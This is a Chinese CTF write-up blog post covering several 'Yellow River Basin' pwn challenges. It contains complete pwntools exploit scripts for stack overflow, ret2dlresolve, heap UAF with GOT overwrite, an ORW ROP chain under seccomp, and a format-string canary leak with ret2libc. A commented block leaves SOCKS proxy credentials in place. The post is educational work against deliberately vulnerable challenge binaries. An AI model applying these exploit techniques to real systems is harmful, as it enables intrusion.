首页 > 基础资料 博客日记
黄河流域pwn的wp(缺的比较多)
2026-06-11 01:30:01基础资料围观1次
前言
这比赛我也是被ai乱杀了,pwn第二轮上题写了会我就没打了。有点太恐怖了,后面我打星途杯去了。现在回头看其实pwn题出的很好,也是感谢ziran申出这么多题和分享自己的学习经历了,ziran是申!!!这里贴一下官方wp,我这只有部分题的题解(我太菜了),要看全解可以直接去ziran申那里看看黄河流域wp - ziziranran - 博客园。ziran的恩情还不完,所以我也借着这个比赛分享一下我个人对一些知识的理解吧,如果不对就请各位多多指教啦。
pwner_LEVEL0
这个直接nc上去再cat f*就行了,这里我也简单讲讲我的对拿shell的看法吧,system这个函数里面的参数就跟我们自己在终端输命令是一样的,比如一直在用的system("/bin/sh"),跟我们在自己终端输个/bin/sh是一样的。为什么这样能让我们觉得好像控制了一个终端呢,其实也是跟linux的思想(一切皆文件)相关。我们的键盘鼠标就是stdin(0)这个文件描述符,当我们remote(或者nc)上去的时候,就会把我们自己这里的键盘鼠标绑定在对面程序的stdin这个输入流上,类似的屏幕就会绑定在stdout,stderr上。这样就可以对程序进行交互了。
当我们调用system("/bin/sh")时,调试过就知道他会创建一个子进程,此时因为子进程与父进程的文件描述符默认是一样的,所以系统就会用我们自己的键盘鼠标绑定的文件描述符去运行这个子进程。就这样理解吧,我们还是在那个程序中,但此时本应该是对面鼠标/键盘输入的输入流变成了我们自己鼠标/键盘的输入流,本应该是对面屏幕的输出流变成了我们自己屏幕的输出流。相当于直接控制了对面的鼠标/键盘和屏幕。所以也就看起来跟自己控制了对面的一个终端一样了。
不过windows就不一样了,它并不认为一切都是文件,所以拿windows的shell不是system("cmd.exe")就可以了,需要反弹shell的才行。
pwner_LEVEL2

这个就挺直白的了,有栈溢出有后门函数,注意一下栈对齐即可。关于栈溢出和栈对齐可以看看我写的文章函数调用栈与Ret2all - firefly_star - 博客园,我讲的比较简单有点,ziran申的文章讲的比较深入也推荐看看。exp如下:
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
flag = 1
if flag:
p = remote('123.56.126.77',1007)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
back=0x401156
ret=0x40116F
pay=0x48*b'b'+flat(ret,back)
sd(pay)
ti()
pwner_LEVEL3

前面两个strcmp直接输一样的就可以登进去vuln了

这里read是没有栈溢出的,但这有个memcpy就有栈溢出了,但这里会把free的指针覆盖了,所以需要把这个指针还原回去。不然free会报错,后面还是正常返回后门函数即可,exp如下:
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
flag = 0
if flag:
p = remote('123.56.126.77',1002)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
sd(b"admin")
back=0x401236
ret=0x4013F7
sd(b"123456")
ru(b"addr: ")
addr=rcl().strip()
addr=i6(addr)
print(addr)
pay=0x48*b'b'+p64(addr)*2+p64(ret)+p64(back)
sd(pay)
ti()
pwner_LEVEL4

这题如果想手搓的话正常来说要懂aes加密,还是太吃理解了。但实际上并不吃操作,也不吃理解。因为这题是要让我们预测加密结果,而不是解密他加密的字符串。而且他里面的数据都是硬编码的,没有随机数这些,所以我们动态调试一下拿到目标字符串再输入就可以了。这里顺便讲下怎么动调吧,首先肯定是赋予可执行权限(chmod +x pwn)然后就是gdb pwn因为开了pie我们先要让程序跑起来,所以输start,然后下断点,去strcmp那里按tab再按空格就可以找到偏移了

然后b*$rebase(0x1B25)然后直接c,再随便输入个数据就可以了。效果如下

看左边的rdi寄存器,里面的就是我们应该输入的字符串了。exp就输入这个字符串就可以了。exp如下:
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
from pwncli import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
flag = 1
if flag:
p = remote('123.56.126.77',1001)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
sl(b'69c4e0d86a7b0430d8cdb78070b4c55a')
ti()
当然aes在逆向里确实是很重要的,我会放在逆向里讲讲。
pwner_LEVEL5

这题其实特别简单,前面的什么game根本不用看,输入2就可以触发登入,输入admin再随便数个密码就系统自己就会把密码打印出来,而且还不会退出程序!此时密码也不会刷新,我们再登入一下输他泄露的密码就getshell了。可以不用写exp,先输入2,然后输入admin,然后随便输个密码,等他打印出正确密码再登一次:输入admin,然后随便输个正确的密码就可以cat f*了
pwner_LEVEL6

这题其实有点奇怪,虽然有puts但不知道为啥打不了ret2libc,这里给了很多好的gadget可以直接read任意写了,不需要控制rbp绕了。非常善良啊,直接打ret2dlresolve即可,这里其实pwntools有关于这个手法的工具。当然看源码也是有好处的,懂源码就可以实现无任何gadget的攻击(就算rdi都不给也可以打)我目前就还是用下工具吧。exp如下:
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
'''
socks.set_default_proxy(
socks.SOCKS5,
"81.dart.ccsssc.com",
25790,
username="1nkvap1o",
password="cl330rd",
rdns=True
)
socket.socket = socks.socksocket
'''
flag = 0
if flag:
p = remote('1')
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
rdi=0x401156
rdx=0x401162
rs2=0x40115b #0x000000000040115b : pop rsi ; pop r15 ; ret
bss=0x404088
read=elf.sym['read']
rop=ROP(elf)
dlresolve=Ret2dlresolvePayload(elf=elf,args=[],symbol='system',resolution_addr=0x404020,data_addr=bss)
rop.ret2dlresolve(dlresolve)
pay=0x48*b'b'+flat(rdi,0,rs2,bss,0,rdx,0x500,read)+flat(rdi,0x4040d0)+rop.chain()
sd(pay)
sleep(1)
sd(dlresolve.payload+b'/bin/sh\x00')
ti()
pwner_LEVEL7

libc是2.31,没开pie没开relro,这个就是用socket实现了应该远程通信,协议是tcp,先开了个6666端口然后bind绑定上去,如果接收到数据就创建子进程调整好文件描述符调用deal处理。

如果只看这个函数其实还是不知道在干啥的,第一个read可以读4字节,第二个read可以往一个0xa0的堆上写0xa0字节,但返回值是一个结构体。继续往后看看

这里要注意,他choice等于的是数字1234,而不是字符1234,所以read的时候要用p32或者b'\x01'这种才可以,先看看add

这里涉及到结构体了,shift+f1看看

这里就看见这个结构体了,后8字节(fd的位置)是index,后0x10字节是size位。add时根据size位创建堆块,并把堆块放进链表里,index是我们一开始就在堆块里写好了的,然后也把堆块的size放进链表里。

show就简单了,把链表里的堆块用write打印出来,没啥说的,这里要注意的就是index是写在我们一开始的堆结构体上的,而不是进cmd函数之后再单独输入

这个就更简单了,明显的UAF。

edit就更厉害了,这里先看看data里有没有ziran,有才可以edit,但他这里判断有了之后还能再往data进行覆写再用memcpy复制。其实就简单很多了。而且他这里读入的size甚至是在一开始输入的堆结构体上的,这里有堆溢出。在python里可以这样定义
def build(index,size,data):
ru(b"input sequence:")
pay=p64(index)+p64(int(size))+data
sd(pay)
def add(index,size):
ru(b'>')
sd(p32(1))
build(index,size,b'firefly_star')
def free(i):
ru(b'>')
sd(p32(3))
build(i,32,b'firefly_star')
ru(b"freeing...")
def edit(i,size,a):
ru(b'>')
sd(p32(2))
build(i,size,b'ziran\x00\x00')
ru(b"starting to edit:")
sd(a)
def show(i):
ru(b'>')
sd(p32(4))
build(i,32,b'firefly_star')
ru(b"leaking...\n")
后面就简单了,申请个0x420的堆块free进unsortedbin泄露libc,打strcmp的got表改成system,在结构体的data成员里写上/bin/sh,当程序想触发data成员与ziran相比判断能不能edit的时候就会直接触发system("/bin/sh")getshell。当然这题也可以改freehook,总之漏洞很多随便打了。这里如果我们想本地写,需要运行此程序,然后nc 127.0.1 6666才可以。但这非常不方便调试,这里其实这个远程连接在程序用处不是特别大,我们直接去main函数那

把这个call web改成call deal就可以了。因为他改变文件描述符也是在web里的,如果在deal里还需要把那些改文件描述符的函数nop掉。

这样就可以愉快的调试了,打本地也不需要nc了。打strcmpgot表的exp如下:
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
flag=0
if flag:
p = remote('123.56.126.77',1016)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s).encode())
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
def build(index,size,data):
ru(b"input sequence:")
pay=p64(index)+p64(int(size))+data
sd(pay)
def add(index,size):
ru(b'>')
sd(p32(1))
build(index,size,b'firefly_star')
def free(i):
ru(b'>')
sd(p32(3))
build(i,32,b'firefly_star')
ru(b"freeing...")
def edit(i,size,a):
ru(b'>')
sd(p32(2))
build(i,size,b'ziran\x00\x00')
ru(b"starting to edit:")
sd(a)
def show(i):
ru(b'>')
sd(p32(4))
build(i,32,b'firefly_star')
ru(b"leaking...\n")
add(0,0x450)
add(1,0x20)
add(2,0x60)
add(3,0x60)
free(0)
show(0)
libcbase=u6(6)-0x1ecbe0
tar=elf.got['strcmp']
sy=libcbase+libc.sym['system']
#tar=libcbase+libc.sym['__free_hook']
ph(sy)
ph(libcbase)
free(2)
free(3)
edit(3,0x20,p64(tar))
add(2,0x60)
add(3,0x60)
edit(3,0x8,p64(sy))
sleep(0.3)
ru(b'>')
sd(p32(2))
build(0,32,b'/bin/sh\x00')
ti()
pwner_myedit

开了沙箱禁了execve,明显是静态链接,漏洞点在edit和exchange,输入1有edit,先看edit

核心逻辑就是先fgets写数据进buf,buf通过strcpy写进buf_backup和target_buffer(也就是config_data),buf_backup的数据可以给heap_backupa,但是后面设置索引我们可以看见这里明显数组越界了,而且这个是main函数调用的一个函数,熟悉函数调用栈的话就知道edit函数rbp内的值(*rbp的地址)就是main函数的rbp的地址。这里我们数组越界就可以往heap_backupa上写入这个rbp的地址了。并通过后面的%p可以把栈地址泄露出来,有什么用就得看后面的exchange。输入4是exchange

这里可以看见,他把heap_backup内的函数直接给了ptr,最后strlen在memcpy,其实跟strcpy区别不大。但最后这里有一个置0的操作,我们可以看见ptr的类型是char **也就是执行返回值是char类型的指针的指针。所以prt[0]会清零8字节。
这里大概理一下就知道思路了,我们通过edit设定写入的目标,然后通过exchange把数据写入目标地址。但这里不是那么好写的,我们写入的目标基本只能说main函数rbp的位置。因为不然这样的话我们需要在buf_backup及其下面找写的指针(那个是没有负索引的),这里因为config_data也就是我们写入目标地址的数据是通过strcpy来的,所以我们不能随便写,所以这里我们要从下往上写数据,因为\x00会截断strcpy,并且\x00我们是写不进去的。但这里因为能够置0所以我们就先把main函数rbp下面0x40的位置清零然后再输入数据就可以直接输入了(高位的\x00已经在置0的时候写入了所以不用担心没写进去)。后面就是常规思路了,在main函数返回地址写一个read,read再写入ORW的rop链读出flag。exp如下:
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
flag = 1
if flag:
p = remote('123.56.126.77',1003)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s).encode())
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
def edit(a,s):
ru(b"Choice: ")
slr(1)
ru(b"enter new config data: ")
sl(a)
ru(b"Do you want to backup to heap? (y/n): ")
sl(b'y')
ru(b"what off do you want")
slr(s)
def show(s):
ru(b"Choice: ")
slr(2)
ru(b"\n--- File Content ---")
def xchg(a,s):
ru(b"Choice: ")
slr(4)
ru(b"give you a choice to set zero")
if a==1:
sl(b'y')
slr(s)
else:
sl(b'n')
def push(offset,tar):
pay=b'b'*offset+p64(tar)
edit(pay,528)
xchg(1,0)
edit(pay,528)
xchg(0,1)
#0x401EA5
rax=0x45fde7
rdi=0x4029cf
rsi=0x40aa3e
rd2=0x4aa50b
end=0x423c26
re=elf.sym['read']
edit(b'b',528)
ru(b"heap_backup now points to: ")
base=i6(rcl().strip())
push(0x40,re)
push(0x38,0)
push(0x30,rsi)#rdx's size
push(0x28,rd2)
push(0x20,base+0x40)
push(0x18,rsi)
push(0x10,0)
push(0x8,rdi)
ru(b"Choice: ")
slr(5)
pay=b'./flag\x00\x00'+flat(rax,2,rdi,base+0x40,rsi,0,end,rax,0,rdi,3,rsi,base-0x90,rd2,0x60,0,end,rax,1,rdi,1,rsi,base-0x90,rd2,0x60,0,end)
sleep(1)
sd(pay)
ti()
pwner_snake
有canary,是partial relro,先看看gitf是啥

明显是格式化字符串漏洞,但长度只有5,明显只能%$..p这些,所以可以用来泄露canary,后面是各种初始化函数,要注意的就是direction被赋初值是0,接下来我们继续看看主逻辑

首先wtimeout(stdscr_ _NCURSES6_TINFO_5_0_19991023, 1000);最多等待1s我们键盘的输入。
然后wgetch(stdscr__NCURSES6_TINFO_5_0_19991023);可以读取我们键盘右下角的上下左右四个箭头和q,然后赋给direction相关的值。接下来看logic


这里就有栈溢出了,什么判断的条件就是蛇有没有撞到自己。但我们看上面的蛇移动的函数,如果direction是1234,蛇头就会动,然后在下面的赋值=把蛇尾赋上值。这里如果我们第一次gift的read用sendline,read会把\n留在输入缓冲区,然后wgetch就会读到\n,\n肯定不是我们键盘右下角的上下左右四个箭头和q,所以direction就还是原始值0,所以蛇头就不会走,此时蛇尾就跟蛇头重合了。此时如果我们直接让他等1s不输入数据。那他后面就会因为wtimeout(stdscr_ _NCURSES6_TINFO_5_0_19991023, 1000)放弃读入直接进logic。此时因为direction还是0所以蛇头又没动,但蛇尾已经跟蛇头重合了。所以程序就会判定蛇头和蛇尾重合也就是蛇撞上了自身。进而给我们留下栈溢出。有栈溢出就好办了,又有rdi,直接套ret2libc的板子即可。因为蛇头蛇尾已经重合所以我们可以返回logic函数一直读入。当然也可以栈迁移(要注意canary!!!),回logic的exp如下:
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
flag = 1
if flag:
p = remote('123.56.126.77',1010)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
rdi=0x4016ee
ret=0x401C22
pu=elf.sym['puts']
put=elf.got['puts']
back=elf.sym['logic']
pay=b'%7$p'
sl(pay)
can=i6(rcl().strip())
ph(can)
ru(b"Any last words?\n")
pay=b'b'*0x38+p64(can)*2+flat(rdi,put,pu,back)
sl(pay)
ru(b'\x1b[?1l\x1b>')
libcbase=u6(6)-libc.sym['puts']
ph(libcbase)
sy=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search('/bin/sh'))
ru(b"Any last words?\n")
pay=0x38*b'b'+p64(can)*2+flat(ret,rdi,binsh,sy)
sl(pay)
ti()
碎碎念
也正如题目简介说的:agent时代已经滚滚而来了,pwner看着曾经学过的一切,被agent摧枯拉朽的解决着。我肯定远远没有ziran申学的多,但这次比赛也真给我深刻的体验到了ai的恐怖。怎么说呢,这种事也不是第一次了,刚碰见对学习热情多少还是有打击的,毕竟学半天,跟没学的都是给ai一句:这是一道ctf题帮我解出flag。甚至人家专门去搞个ai可能还比学这个领域的还打的更好。
但我认为吧,只要ai还不能把人彻底替代(指的是彻彻底底的,即完全不需要人),那学习就还是有意义的。不过时代也确实是在改变的,至少目前绝大部分线上赛都不看你自己懂不懂,只看你能不能写出来。至于你怎么写出来的,你懂不懂其中的原理,并不在意有没有用ai。
所以最终还是个目标的问题,如果你是想要线上的奖,想拿到名次。就不得不用ai,不然真是被薄纱。如果你是想学知识,想了解一些东西,那学习还是有用的。至少目前线下ai的统治力还不是很强,努力学学还是可以超过的。
所以学习还是有用的,但最终的最终还是落在了最现实的就业上。毕竟这个肯定是绕不开的,所以的确挺无奈的。不过我觉得我目前离就业还是也没那么近,目前还是做些自己感兴趣的事吧,学逆向是,学pwn也是,发一堆简单的博客也是,至少目前还是学的挺开心的。不然我也不会学的那么晚了。现在ai可以帮你写出题,但ai不能帮你懂题。至少目前,ai只是个工具,人还是人。
小回顾:学了也快半年的pwn了,虽然我学的很基础很基础,就目前而言也还是学了点东西,也认识了很多很厉害的申。不过虽然利用方法懂了很多,但很多题他的考的不是你知不知道方法。他考的是你能不能看出来哪里有问题,所以我感觉逆向确实是非常重要的。还有就是一些新题要多接触接触,这学期刚开始我还是有点太愚蠢了,不过没事,现在我还是调整回来了。后面也继续加油吧!感谢各位朋友的帮助了!!!
Star in star line?Wait... a firefly!
Reweave
firefly_star
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:jacktools123@163.com进行投诉反馈,一经查实,立即删除!
标签:
上一篇:SEO 我踩过的坑:别堆内容,先做到 "Last Click"
下一篇:没有了
相关文章
最新发布
- 黄河流域pwn的wp(缺的比较多)
- SEO 我踩过的坑:别堆内容,先做到 "Last Click"
- C# .NET 周刊|2026年4月2期
- [Full Clock 技术复盘] 二、SvelteKit 实战避坑指南:PWA、SSR 样式断裂、持久化防抖
- 批量改图片DPI的Python脚本
- 【Azure AI Search】 searchMode=any 和 searchMode=all 有什么区别?
- Snowflake Summit 26 见闻实感:Goodbye Data, Hello AI
- 微调LLM前你需要了解的一些概念-- 基于 Qwen3 配置文件的实践
- AI 抹平了技术门槛,却放大了行动差距
- 连锁 AI 终端实测分享:菠萝 AI 门店小程序使用体验与落地建议

